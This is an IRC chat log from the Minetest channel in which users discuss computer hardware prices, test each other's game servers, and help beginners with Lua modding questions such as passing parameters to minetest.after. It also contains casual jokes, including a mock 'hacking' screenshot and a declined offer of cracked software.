as you get older you learn to spend less on computers because you realize no matter how much you spend in 2-3 years its old |
| 20:19 |
jojoa1997 |
hiya see up there?| |
| 20:19 |
Jordach |
Calinou: i have a PC lag of around 6 years |
| 20:19 |
Calinou |
"£8333.33 ex VAT (£10000.00 inc VAT)" <= wat |
| 20:19 |
jojoa1997 |
hiya see up there /\ |
| 20:19 |
Calinou |
the performance-to-price ratio of that box is terrible |
| 20:19 |
Jordach |
Calinou, thats about 9000 euro |
| 20:19 |
Calinou |
with VAT, 11000 euros? |
| 20:19 |
mauvebic |
9K? |
| 20:20 |
Calinou |
I said including VAT :p |
| 20:20 |
Jordach |
yes -- its hand built |
| 20:20 |
mauvebic |
it better come with hand-painted periwinkles at that price |
| 20:20 |
Jordach |
btw, its completely uk manufactured |
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| 20:21 |
Jordach |
(yes, im in need of a new tower) |
| 20:21 |
mauvebic |
its so much cheaper here, a week's pay for a decent machine |
| 20:21 |
Calinou |
11000 euros is still way too much expensive, lol |
| 20:21 |
Calinou |
with 900-1200 euros you can make a pretty good desktop already :P |
| 20:21 |
mauvebic |
11K you almost have a downpayment for a condo in montreal lol |
| 20:21 |
Jordach |
Calinou, depends on the shop |
| 20:22 |
* Jordach |
likes ebuyer |
| 20:22 |
jojoa1997 |
can anyone test that server |
| 20:22 |
Calinou |
buy hardware then build yourself |
| 20:22 |
Calinou |
I did a big mistake by buying an OEM desktop :| |
| 20:22 |
Jordach |
Calinou, not really nope. |
| 20:22 |
mauvebic |
you buy a basic box (with the mobo you need) and build up with new parts from there |
| 20:22 |
Calinou |
shit PSU, shit fan (noisy but efficient), way too big HDD |
| 20:22 |
Jordach |
Calinou, thats a bonus, not a negative |
| 20:22 |
jojoa1997 |
Octopus: i cant get on Ip Address: diamondmining.no-ip.org Port: 30000 |
| 20:22 |
mauvebic |
seriously lol |
| 20:23 |
Calinou |
Jordach: i'd rather get a SSD instead of an HDD |
| 20:23 |
Calinou |
HDDs are things of the past.. |
| 20:23 |
Jordach |
pussy. |
| 20:23 |
mauvebic |
lol |
| 20:23 |
Jordach |
Calinou, expect them to burn out soon >:D |
| 20:23 |
Octupus |
ok jojoa1997 il check it out |
| 20:23 |
Calinou |
them, the SSDs or the HDDs? |
| 20:23 |
Jordach |
(they usually have 1000 writes) |
| 20:23 |
mauvebic |
yeah because i definately trust those big cloud providers to stay in business and not sell my info |
| 20:23 |
jojoa1997 |
Octopus: thanks |
| 20:24 |
Jordach |
mauvebic, nothing like keeping your own data |
| 20:24 |
mauvebic |
im more likely to buy external drives now |
| 20:24 |
Calinou |
home servers ftl (ftw only for your electricity company) |
| 20:24 |
Calinou |
external drives, lol |
| 20:24 |
mauvebic |
more efficient that usb keys and network transfer between 3-4 machines |
| 20:24 |
mauvebic |
most externals now operate off the wifi network |
| 20:24 |
Calinou |
if you want one, get a usb 3.0 one :P |
| 20:25 |
Jordach |
mauvebic, Calinou -- external drives are useful when moving important files and backing shit up |
| 20:25 |
Calinou |
yeah |
| 20:25 |
mauvebic |
like a network drive |
| 20:25 |
Jordach |
like the pr0n folder |
| 20:25 |
Calinou |
the wifi feature is beyond pointless |
| 20:25 |
Octupus |
jojoa1997: its dwn |
| 20:25 |
jojoa1997 |
k |
| 20:25 |
Calinou |
mine is 220M |
| 20:25 |
mauvebic |
not for me, you know how many seasons the original law & order has? |
| 20:25 |
Calinou |
220M.minecraft/ |
| 20:25 |
Calinou |
:-D |
| 20:25 |
Calinou |
mauvebic: google |
| 20:26 |
Jordach |
Calinou, 220m == ?? |
| 20:26 |
kaeza |
~/.minetest/ 1.5G |
| 20:26 |
Calinou |
megabytes |
| 20:26 |
Jordach |
peh |
| 20:26 |
Calinou |
352M for me kaeza |
| 20:26 |
Calinou |
295M after removing debug.txt |
| 20:27 |
Jordach |
about 32mb here |
| 20:27 |
Octupus |
jordach, Calinou, cracked or paid MC |
| 20:27 |
Jordach |
(i get bored playing sp) |
| 20:27 |
kaeza |
if I remove debug.tx, I'd probably get only ~200M |
| 20:27 |
Jordach |
Octupus, 0.3 Classic thx |
| 20:27 |
Calinou |
paid it 10 euros back in december 2010 |
| 20:27 |
Calinou |
the price was more interesting back then :) |
| 20:27 |
Octupus |
Jordach,Cracked :P |
| 20:27 |
Jordach |
Calinou, yup |
| 20:27 |
Octupus |
I can send you a link if you want |
| 20:28 |
kaeza |
debug.txt: 992M O.o |
| 20:28 |
Calinou |
Octupus: freenode staff would like to have a talk with you |
| 20:28 |
Octupus |
why |
| 20:28 |
Jordach |
Octupus, /me bets is winXX only |
| 20:28 |
kaeza |
922M * |
| 20:28 |
* KikaRz |
bets is LIN only |
| 20:29 |
KikaRz |
or LNX |
| 20:29 |
kaeza |
o hai KikaRz |
| 20:29 |
Jordach |
Octupus, http://freenode.net/policy.shtml#offtopic |
| 20:30 |
Octupus |
OOO i seee |
| 20:30 |
Jordach |
soooo.... zip it. |
| 20:30 |
marktraceur |
Octupus: Yeah, please don't discuss illegal things in here |
| 20:31 |
Octupus |
ok |
| 20:31 |
Calinou |
someone called XtremeWiz PM'd me then left... lol |
| 20:31 |
Calinou |
he was on no channels |
| 20:31 |
marktraceur |
Odd |
| 20:31 |
marktraceur |
Calinou: What'd he say? |
| 20:32 |
mauvebic |
hey guys, i need help burying a couple of bodie....errr... nevermind :-D |
| 20:32 |
Jordach |
mauvebic, :P |
| 20:32 |
mauvebic |
does that mean i cant hold my usual black panther meetings of freenode? |
| 20:33 |
marktraceur |
mauvebic: We don't have anything against felines of any particular hue, just keep it in an offtopic channel |
| 20:33 |
mauvebic |
(on the internet, no one knows you're not black) :p |
| 20:34 |
Calinou |
mauvebic: "hi", nothing else |
| 20:34 |
* marktraceur |
is not mauvebic but OK |
| 20:34 |
marktraceur |
Calinou: Well that's weird, man |
| 20:35 |
Octupus |
why doesnt some1 make an offtopic channel for minetest? |
| 20:35 |
marktraceur |
Octupus: Because minetest isn't off topic? |
| 20:35 |
jojoa1997 |
simple type /join #minetest-offtopic |
| 20:35 |
Octupus |
marktraceur,what happen if some1 wanna know something but it isnt allowed in this channel? |
| 20:36 |
marktraceur |
Octupus: You ask in a channel where it's on topic |
| 20:36 |
mauvebic |
death by firing squad |
| 20:36 |
marktraceur |
Octupus: What do you need to know? |
| 20:36 |
marktraceur |
(PM me if it's long) |
| 20:36 |
Octupus |
nothing |
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Octupus |
it just seemed like a good idea at the time |
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OldCoder |
Back |
| 20:48 |
Octupus |
wb OldCoder |
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OldCoder |
ty |
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VanessaE |
in the register_on_generated() function, how wide is the range of minp/maxp? one mapblock, or 5x5x5? |
| 20:51 |
PilzAdam |
one mapblock |
| 20:51 |
VanessaE |
ok |
| 20:51 |
PilzAdam |
you can print some math.abs(minp.x-maxp.x) to test it |
| 20:52 |
PilzAdam |
since the mapblock size is hard coded you dont really know it from Lua |
| 20:52 |
PilzAdam |
make sure that changing it to 32 or so doesnt break your mod |
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kaeza |
PilzAdam, thanks for the suggestion for the lava suit |
| 20:52 |
PilzAdam |
its less hacky ;-) |
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VanessaE |
well after much testing, I'm not so sure I'm gonna bother hooking into this. it's so slow :-( |
| 20:53 |
kaeza |
hehe right |
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PilzAdam |
VanessaE, every single modder who tried to play arround with the mapgen comes to this point |
| 20:54 |
PilzAdam |
thats why nether mod is abandoned |
| 20:54 |
VanessaE |
yeah |
| 20:55 |
kaeza |
suddenly... blackholes: https://dl.dropbox.com/u/100008207/screenshot_4262554471.jpg |
| 20:55 |
Octupus |
i need a new mod idea that i can handle |
| 20:55 |
VanessaE |
I figured I'd hit this wall too, but it was worth a try. |
| 20:55 |
Traxie21 |
Octupus, try Economy |
| 20:55 |
Traxie21 |
What wall are you talking about? |
| 20:56 |
Octupus |
Traxie21: how do you mean? |
| 20:56 |
Traxie21 |
Try making an economy mod |
| 20:56 |
PilzAdam |
Octupus, how experienced are you? |
| 20:56 |
Traxie21 |
wait, isn't octopus jojoba? |
| 20:56 |
OldCoder |
No |
| 20:56 |
Traxie21 |
... |
| 20:56 |
OldCoder |
He runs other worlds |
| 20:56 |
Traxie21 |
I was sure.... |
| 20:56 |
OldCoder |
0004 |
| 20:56 |
OldCoder |
30004 |
| 20:57 |
Octupus |
PilzAdam,i made 3 mods tools about 32 new blocks and a mod that adds water but i cant ever figured out the landgen thingy |
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kaeza |
jojoa is even more annoying than octu |
| 20:57 |
kaeza |
lol J/K :P |
| 20:57 |
Octupus |
HEY :P |
| 20:57 |
PilzAdam |
Octupus, hmm |
| 20:59 |
Traxie21 |
Octopus, I'm kinda new to modding, but I'd advise trying to make a server mod, like commnds and the like |
| 20:59 |
Traxie21 |
Similar to bukkit plugins |
| 20:59 |
Traxie21 |
There's tons of block-and-tool mods, but not a lot of server ones |
| 20:59 |
Traxie21 |
IMHO |
| 20:59 |
mauvebic |
theme mods |
| 20:59 |
Octupus |
i tried to make a broadcast command but i cant figure that out |
| 20:59 |
PilzAdam |
Octupus, something useless to learn coding: a tool that places a light block on leftclick; when punching this lightblock it changes the color |
| 21:00 |
mauvebic |
offer period nodes, textures and tools |
| 21:00 |
PilzAdam |
(not the light color but the texture) |
| 21:00 |
mauvebic |
people want cars, mobs, better node protection |
| 21:00 |
Octupus |
PilzAdam,idk how to do that |
| 21:00 |
mauvebic |
+ theres tons of broken shit you can try fixing |
| 21:00 |
PilzAdam |
learn it ;-) |
| 21:01 |
Octupus |
ik how to make a tool that digs something |
| 21:01 |
kaeza |
Octupus, how about a simple mod that computes the distance travelled by a player and reports back with a /dist command? |
| 21:01 |
mauvebic |
ugh, just drank from the wrong coffee cup :S |
| 21:01 |
Octupus |
kaeza,im not that good |
| 21:01 |
PilzAdam |
you have to use callbacks like on_use or on_punch |
| 21:01 |
Traxie21 |
kaeza, NO MATH |
| 21:01 |
Traxie21 |
Math+programming is hard for dumb people like me :3 |
| 21:01 |
PilzAdam |
that brings you to learn what Lua functions are, and how to use them |
| 21:02 |
kaeza |
oh sorry :P |
| 21:02 |
mauvebic |
programming is almost like math with words lol |
| 21:02 |
kaeza |
mauvebic, programming = math + logic |
| 21:03 |
kaeza |
if you suck at any of those, programming is not for you |
| 21:03 |
Octupus |
PilzAdam,Can i get a link to something i can read to understand? |
| 21:03 |
PilzAdam |
everything you need to know is here: https://github.com/celeron55/minetest/blob/master/doc/lua_api.txt |
| 21:03 |
Traxie21 |
@kaeza, Theres lots of mods you can make with a basic understanding of math |
| 21:03 |
mauvebic |
im pretty sure logic applies to math too? |
| 21:03 |
mauvebic |
lol |
| 21:04 |
PilzAdam |
Octupus, take your time, nobody forces you to make a mod in 30 mins. |
| 21:04 |
kaeza |
mauvebic, maybe, but they are different things |
| 21:04 |
mauvebic |
the only places where logic doesn't apply is in politics and law lol |
| 21:04 |
PilzAdam |
Octupus, is english your native language? |
| 21:04 |
Octupus |
PilzAdamn thank you i will read this carefully |
| 21:04 |
Traxie21 |
WIN mauv |
| 21:05 |
Octupus |
yes PilzAdam |
| 21:05 |
Calinou |
I understand lua_api.txt perfectly, yet english is not my native language :P |
| 21:05 |
Traxie21 |
Do any of you expert coders have free time to see how bad my code is? |
| 21:05 |
PilzAdam |
Calinou, the difference is that you have some experience in programming |
| 21:05 |
PilzAdam |
Traxie21, LOC? |
| 21:05 |
mauvebic |
i offer an express insult and derision service |
| 21:05 |
mauvebic |
:p |
| 21:06 |
Traxie21 |
LOC? What does that mean? |
| 21:06 |
PilzAdam |
Lines Of Code |
| 21:06 |
Traxie21 |
Not sure,using wordpad XD |
| 21:06 |
PilzAdam |
there is a thing called google :-p |
| 21:06 |
Exio |
wordpad for coding |
| 21:07 |
RealBadAngel |
kamikaze ;) |
| 21:07 |
Calinou |
emacs for writing press articles |
| 21:07 |
PilzAdam |
Traxie21, http://youtu.be/4XpnKHJAok8?t=6m54s |
| 21:07 |
Octupus |
i understand aliases :P |
| 21:07 |
mauvebic |
chase programmer prolly uses minesweeper or paint for coding lol |
| 21:07 |
Calinou |
lol |
| 21:07 |
Traxie21 |
161 lines |
| 21:07 |
Traxie21 |
@Plitz I know |
| 21:08 |
kaeza |
<Traxie21> Do any of you expert coders have free time to see how bad my code is? |
| 21:08 |
PilzAdam |
wtf is Plitz? |
| 21:08 |
kaeza |
?? |
| 21:08 |
Traxie21 |
LOL |
| 21:08 |
Traxie21 |
I always read your name as PlitzAdam |
| 21:08 |
kaeza |
Traxie21, Pil<Tab> |
| 21:08 |
Traxie21 |
*PilzAdam |
| 21:08 |
PilzAdam |
P<tab> is enough |
| 21:09 |
kaeza |
you're right :) |
| 21:09 |
Calinou |
c<tab> => :-D |
| 21:09 |
mauvebic |
id use the acronym PA but that means something else here lol |
| 21:10 |
PilzAdam |
https://en.wikipedia.org/wiki/Pa |
| 21:10 |
Calinou |
penny arcade? |
| 21:10 |
Calinou |
:-D |
| 21:10 |
mauvebic |
prince albert lol |
| 21:10 |
kaeza |
Paranormal Activity? |
| 21:10 |
PilzAdam |
"P.A., a southern hip hop trio in Atlanta" |
| 21:11 |
Traxie21 |
Oi, if theres two things I'm bad at in programming, one is math, the other is naming variables XD |
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mauvebic |
ya'll know the urban dictionary def right? lol |
| 21:13 |
Octupus |
PilzAdam,i understand alot of this |
| 21:14 |
Octupus |
but i cant code big stuff xD |
| 21:14 |
PilzAdam |
with "Take your time" I mean something like a week or so |
| 21:14 |
mauvebic |
yay i found low poly hover vehicles :D |
| 21:14 |
Octupus |
yea ik but i understand what there are saying in the text |
| 21:15 |
PilzAdam |
thats a good starting point :-) |
| 21:15 |
Traxie21 |
I have a stupidly dumb question |
| 21:15 |
Octupus |
:D |
| 21:15 |
Octupus |
anything else i shud do |
| 21:15 |
Traxie21 |
nvm |
| 21:15 |
PilzAdam |
Traxie21, print(dump(question)) |
| 21:15 |
Octupus |
shud i look at complex codes and see what they do |
| 21:16 |
Traxie21 |
Nvm, I answered it myself |
| 21:16 |
PilzAdam |
Octupus, read other mods code |
| 21:16 |
PilzAdam |
its not important how complex they are |
| 21:17 |
PilzAdam |
e.g. read my mods to see correct indentation |
| 21:17 |
Octupus |
Which 1 do you recommend for me to read? |
| 21:18 |
PilzAdam |
well, the default mod is pretty basic |
| 21:18 |
PilzAdam |
but its not very interesting |
| 21:18 |
Octupus |
yea i understand those i mean like your mods |
| 21:18 |
PilzAdam |
just read the code of your favourite mods |
| 21:19 |
Octupus |
hmmmmm |
| 21:19 |
PilzAdam |
you dont have to fully understand them |
| 21:19 |
PilzAdam |
just to get an idea on how a mod should "look like" |
| 21:20 |
Octupus |
ok il read farming since i like that mod alot |
| 21:20 |
Traxie21 |
Moment of truth... Did I miss an "end" or not *drum rull* |
| 21:20 |
PilzAdam |
the only downside of lua-api.txt is that there are no examples so you have to figure out how to structure your init.lua |
| 21:20 |
Octupus |
Traxie can i see you code? |
| 21:20 |
PilzAdam |
the default mod is a good reference for that |
| 21:21 |
Octupus |
yea i sort mines out line by line |
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Traxie21 |
What does 'attempting to call field "func" a nil value' mean? |
| 21:21 |
Traxie21 |
In a second octupus, im currently editing it |
| 21:22 |
mauvebic |
means .func isn't set |
| 21:22 |
Octupus |
K |
| 21:22 |
mauvebic |
array['func'] = ? |
| 21:22 |
Traxie21 |
No, its a function |
| 21:22 |
mauvebic |
well what are you trying to do? |
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kaeza |
mauvebic, array['func'] == array.func |
| 21:22 |
Traxie21 |
minetest.after to call a function with a parameter |
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PilzAdam |
Octupus, do you know any programming languages? |
| 21:23 |
mauvebic |
minetest.after(1,function() end) |
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Octupus |
no im a newbie at coding OC has helped quite a bit |
| 21:23 |
mauvebic |
you have to pass a function to minetest.after not just arguemnts |
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kaeza |
Traxie21, minetest.after(1, function (param) <your code here> end, param) |
| 21:23 |
Traxie21 |
mauv, I just fixed it |
| 21:24 |
Traxie21 |
how do you pass a param to a function? |
| 21:24 |
Octupus |
traxie |
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kaeza |
Traxie21, minetest.after(1, function (param) <your code here> end, param) <== THIS |
| 21:24 |
Octupus |
param = (what ever you trying to add) or its param1 (what every you want to add Traxie21 |
| 21:25 |
PilzAdam |
Octupus, its difficult to learn a programming language _and_ the minetest API at the same time; maybe it would help if you read some tutorials about any programming language to get some experience |
| 21:25 |
Traxie21 |
That helps |
| 21:25 |
Octupus |
ok PilzAdam yougot any tutorials in mind |
| 21:25 |
mauvebic |
you can use any variable within minetest.after(d, function() end) so long as you dont have scope problems |
| 21:27 |
PilzAdam |
Octupus, maybe this: http://chortle.ccsu.edu/java5/index.html (its Java) |
| 21:27 |
PilzAdam |
its where I learned Java :-) |
| 21:27 |
Octupus |
ok il try this |
| 21:28 |
mauvebic |
javas been in the news afew times on /. this week lol |
| 21:28 |
Octupus |
i might be able to make plugins soon for mc :P |
| 21:28 |
PilzAdam |
mauvebic, there was a major secutrity lag in java |
| 21:28 |
PilzAdam |
*security |
| 21:29 |
mauvebic |
something about a 2yr exploit? |
| 21:29 |
mauvebic |
its ironic the sandboxing was supposed to provide extra security lol |
| 21:29 |
Traxie21 |
minetest.after(teleport_delay, teleport_player(param), position) |
| 21:29 |
kaeza |
Octupus, http://lua.org/pil |
| 21:29 |
Traxie21 |
something isnt right there |
| 21:30 |
mauvebic |
not working? |
| 21:30 |
Calinou |
mauvebic: openjdk was unaffected by the security exploits :-D |
| 21:30 |
kaeza |
Traxie21, nope |
| 21:30 |
Traxie21 |
well, it calls the function |
| 21:30 |
Calinou |
open source ftw |
| 21:30 |
kaeza |
minetest.after(teleport_delay, teleport_player, position) |
| 21:30 |
mauvebic |
do you define position or param? |
| 21:31 |
mauvebic |
you could try minetest.after(teleport_delay, function() teleport_player(position) end) |
| 21:31 |
Traxie21 |
It calls the function |
| 21:31 |
Traxie21 |
But I can't access the param with "position" |
| 21:31 |
kaeza |
Traxie21, the 2nd arg to minetest.after is a function; *not* a function *call* |
| 21:31 |
mauvebic |
you could try minetest.after(teleport_delay, function() teleport_player(param) end) |
| 21:32 |
kaeza |
mauvebic, the function you pass to minetest.after must have a way to get the param |
| 21:32 |
Traxie21 |
Forgive me kaeza, I do not know my lingo |
| 21:32 |
Traxie21 |
here, lemme pastebin this |
| 21:33 |
mauvebic |
ive used it a few times with variables defined outside its scope w/o problems |
| 21:33 |
kaeza |
mauvebic, bad coding practice |
| 21:33 |
kaeza |
that's what function parameters are for |
| 21:33 |
mauvebic |
yeah well you could take 10 years following all the rules to do what i can in 1 so its moot |
| 21:33 |
Traxie21 |
http://pastebin.com/Rqgh6sHF |
| 21:33 |
Traxie21 |
the p is set beforehand |
| 21:34 |
Traxie21 |
the only issue is that when it runs the setpos, it gets a nil value |
| 21:34 |
kaeza |
Traxie21, what is 'p'? |
| 21:34 |
kaeza |
a position? |
| 21:34 |
Traxie21 |
ye |
| 21:35 |
Traxie21 |
im too lazy |
| 21:35 |
Traxie21 |
I'll fix the var names later |
| 21:35 |
kaeza |
http://pastebin.com/abWrwmUZ |
| 21:36 |
kaeza |
note the small change in teleport_player |
| 21:36 |
Octupus |
il take a break a little |
| 21:36 |
Octupus |
i reached quite far already |
| 21:36 |
Traxie21 |
oops |
| 21:37 |
Traxie21 |
Thats what i get for following the wiki |
| 21:37 |
Traxie21 |
XD |
| 21:37 |
Traxie21 |
hmm |
| 21:37 |
Traxie21 |
still setpos is a nil value |
| 21:38 |
Traxie21 |
I bet that will be easy to fix |
| 21:40 |
kaeza |
setpos may be a nil value cause tpr_list[value_carryover] is nil |
| 21:41 |
Traxie21 |
kaeza, its still the param, I just debugged |
| 21:41 |
PilzAdam |
Traxie21, can you show me your whole code? |
| 21:42 |
Traxie21 |
tpr_list[value_carryover] is printing the proper value, but printing the param crashes the game |
| 21:42 |
Traxie21 |
Sure.. one sec |
| 21:42 |
kaeza |
Traxie21, then maybe 'p' is not set correctly |
| 21:42 |
Traxie21 |
nope |
| 21:42 |
Traxie21 |
printed that too |
| 21:42 |
kaeza |
(it's the param that minetest.after passes to your function) |
| 21:43 |
Traxie21 |
yea, thats the param that dosn't seem to be being passed |
| 21:43 |
Traxie21 |
http://pastebin.com/Rqgh6sHF |
| 21:43 |
Traxie21 |
wordpad is so hard to read without syntax highliting :I |
| 21:44 |
kaeza |
Traxie21, use notepad++ |
| 21:44 |
Traxie21 |
My friend said not to install anything on his computer :L |
| 21:45 |
mauvebic |
good advice |
| 21:45 |
kaeza |
Traxie21, first of all, you should at least make sender & receiver module local on lines 8 & 9 |
| 21:45 |
Traxie21 |
wait |
| 21:45 |
Traxie21 |
found it |
| 21:45 |
kaeza |
ditto for lines 4 & 5 |
| 21:45 |
kaeza |
err |
| 21:45 |
kaeza |
3 & |
| 21:45 |
kaeza |
4 |
| 21:46 |
kaeza |
also, it's bad coding practice to use variables that way |
| 21:47 |
kaeza |
you should arrange your code to use function params |
| 21:47 |
kaeza |
it's called non-reentrancy |
| 21:47 |
kaeza |
s/non-// |
| 21:47 |
hmmmm |
http://i.imgur.com/BvbOb.png |
| 21:48 |
Calinou |
lol |
| 21:48 |
hmmmm |
w00t w00t g0t r00t |
| 21:48 |
Calinou |
.exe... |
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Traxie21 |
how does one effectively use function params? |
| 21:49 |
FreeFull |
hmmmm: 127.0.0.1... |
| 21:49 |
Calinou |
hacking yourself ftw |
| 21:49 |
hmmmm |
i did a stack override to get through the back door |
| 21:49 |
Calinou |
everyone, GO HACK YOURSELF |
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FreeFull |
Calinou: Except that wouldn't even work with proxies |
| 21:49 |
Calinou |
hmmmm: seems legit, police would like to have a talk with you :3 |
| 21:49 |
hmmmm |
aww, nobody got the jokes |
| 21:50 |
PilzAdam |
Traxie21, have you found the bug? |
| 21:50 |
FreeFull |
hmmmm: knocking is matrix |
| 21:50 |
kaeza |
Traxie21, that depends |
| 21:50 |
FreeFull |
for some reason it's sock5 instead of socks |
| 21:50 |
hmmmm |
hah, no, port knocking is a real thing |
| 21:51 |
PilzAdam |
Traxie21, requester = tpr_list[receiver] -> requester = minetest.get_player_by_name(tpr_list[receiver]) |
| 21:51 |
FreeFull |
hmmmm: I guess matrix borrowed it then |
| 21:51 |
hmmmm |
no comments on the richard stallman background? |
| 21:52 |
Traxie21 |
I got that Plitz |
| 21:52 |
Traxie21 |
I keep getting unhandled exceptions |
| 21:52 |
mauvebic |
does someone know why im only getting half a mesh ingame? http://www.zimg.eu/i/1740843665 |
| 21:52 |
marktraceur |
Hahaa, plitz |
| 21:52 |
Traxie21 |
GOD |
| 21:52 |
Traxie21 |
Keep forgetting |
| 21:52 |
Traxie21 |
Pilz |
| 21:52 |
kaeza |
Taoki, P<Tab> |
| 21:52 |
kaeza |
whoop |
| 21:53 |
kaeza |
s |
| 21:53 |
kaeza |
Traxie21, ^ |
| 21:53 |
PilzAdam |
Traxie21, have you ever seen my forum signature? |
| 21:53 |
PilzAdam |
http://forum.minetest.net/profile.php?id=2443 |
| 21:54 |
kaeza |
IDK who called him the mushroom man the other day lol |
| 21:56 |
Traxie21 |
Nope, I never read signatures |
| 21:56 |
Traxie21 |
:3 |
| 21:56 |
Traxie21 |
Sorry Adam |
| 21:58 |
Traxie21 |
Oi, im getting tired of my code, so hard to read in black and white |
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kaeza |
Traxie21, use notepad++ |
| 22:07 |
Traxie21 |
I downloaded it |
| 22:07 |
Traxie21 |
put it on an SD card XD |
| 22:09 |
mauvebic |
every mesh i try, half of it is invisible :S http://www.zimg.eu/i/2763930696 |
| 22:10 |
Traxie21 |
O_O |
| 22:11 |
babyface1031 |
can anyone help to figure out what this means |
| 22:11 |
babyface1031 |
WARNING: StaticObjectList::remove(): id=3 not found |
| 22:17 |
mauvebic |
ah i figured out why |
| 22:17 |
mauvebic |
the guy made half a hover car, and used a "miror" modifier for the other half |
| 22:17 |
mauvebic |
thats why half the car isn't there lol |
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Octupus |
hi sfan5, Menche |
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Menche |
hi |
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Cybersoft |
Just wanted to says thank you as minetest supports 128x textures out of the box (unlike minecraft) |
| 22:40 |
Octupus |
everything went dead :/ |
| 22:41 |
Menche |
ya, didn't understand why i had to patch minecraft to use hi-res texturs |
| 22:41 |
Octupus |
Menche,can i help you with you new server map? |
| 22:41 |
Octupus |
i can build an awesome spawn for ya |
| 22:42 |
Menche |
ok, i'll forward my other server out soon |
| 22:43 |
Menche |
im copy-pasted much of the old spawn in, im rebuilding the roads now |
| 22:43 |
Octupus |
k |
| 22:43 |
Cybersoft |
I'm using LB photo realism 128x. but I can't find the texture when you break a block |
| 22:43 |
Octupus |
so what im hearing is i can build spawn ? :D |
| 22:43 |
Cybersoft |
ie: the ones showing the break marks - any idea where it is? |
| 22:43 |
Menche |
thats crack_anylength.png |
| 22:44 |
Cybersoft |
and is there a way to use directX instead of opengl since this use irrlicht and that engine usually give the choice between the two? |
| 22:45 |
Octupus |
Menche,for spawn would you like me to build an outdoor type spawn or an inside 1? |
| 22:45 |
PilzAdam |
Cybersoft, n minetest.conf add: video_driver = direct3d8 |
| 22:45 |
PilzAdam |
*in |
| 22:45 |
PilzAdam |
or direct3d9 |
| 22:46 |
Menche |
Octupus: i copied the old town hall over |
| 22:46 |
Octupus |
:O |
| 22:46 |
Octupus |
but i can still build something nice for the looks |
| 22:46 |
Menche |
of course |
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Octupus |
i can build a mall where ppl can cluster in there with shops and not the old spawn Menche |
| 22:47 |
Menche |
ok |
| 22:47 |
Menche |
i'm not re-adding the shops around the old spawn |
| 22:47 |
Octupus |
thats goood then |
| 22:47 |
Menche |
that huge platform was kinda ugly |
| 22:48 |
Menche |
try connecting to menche.servegame.com:30001 |
| 22:48 |
Menche |
port 30000 is the old map, 30001 the new |
| 22:48 |
Octupus |
K |
| 22:48 |
Cybersoft |
thanks, if I wanted to add block with slopes or curves in them where would I start? |
| 22:49 |
Cybersoft |
ie: like a 10o sloped roof or a piece of cylinder |
| 22:49 |
Octupus |
Menche,cant connect |
| 22:50 |
Menche |
try now, my firewall was blocking it |
| 22:50 |
Octupus |
k |
| 22:50 |
Octupus |
got it |
| 22:50 |
Octupus |
il build the mall for you right now menche |
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PilzAdam |
Cybersoft, http://forum.minetest.net/viewtopic.php?id=4297 |
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mauvebic |
let there be hovercars :-) http://www.zimg.eu/i/1257631186 |
| 23:00 |
mauvebic |
the colour is meant to keep insurance costs down :p |
| 23:06 |
mauvebic |
are there good tutorials on blender/UV texture mapping? |
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PilzAdam |
going to sleep now; bye |
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Cybersoft |
where are the block definition/model stored? I used a cactus texture from minecraft, but it seems the cactus block in minetest is larger because I'm getting transparency from the texture and I'd like to adjust it |
